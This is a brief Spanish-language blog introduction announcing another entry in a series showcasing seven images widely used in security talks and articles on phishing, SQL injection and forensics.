Buenas a todos, volvemos con una nueva entrada de nuestra cadena sobre las imagenes más utilizadas en charlas y artículos de seguridad informática, con otras siete imágenes muy utilizadas en el gremio para temas relacionados con phising, sql injection o forense, ¡disfrutarlos! :)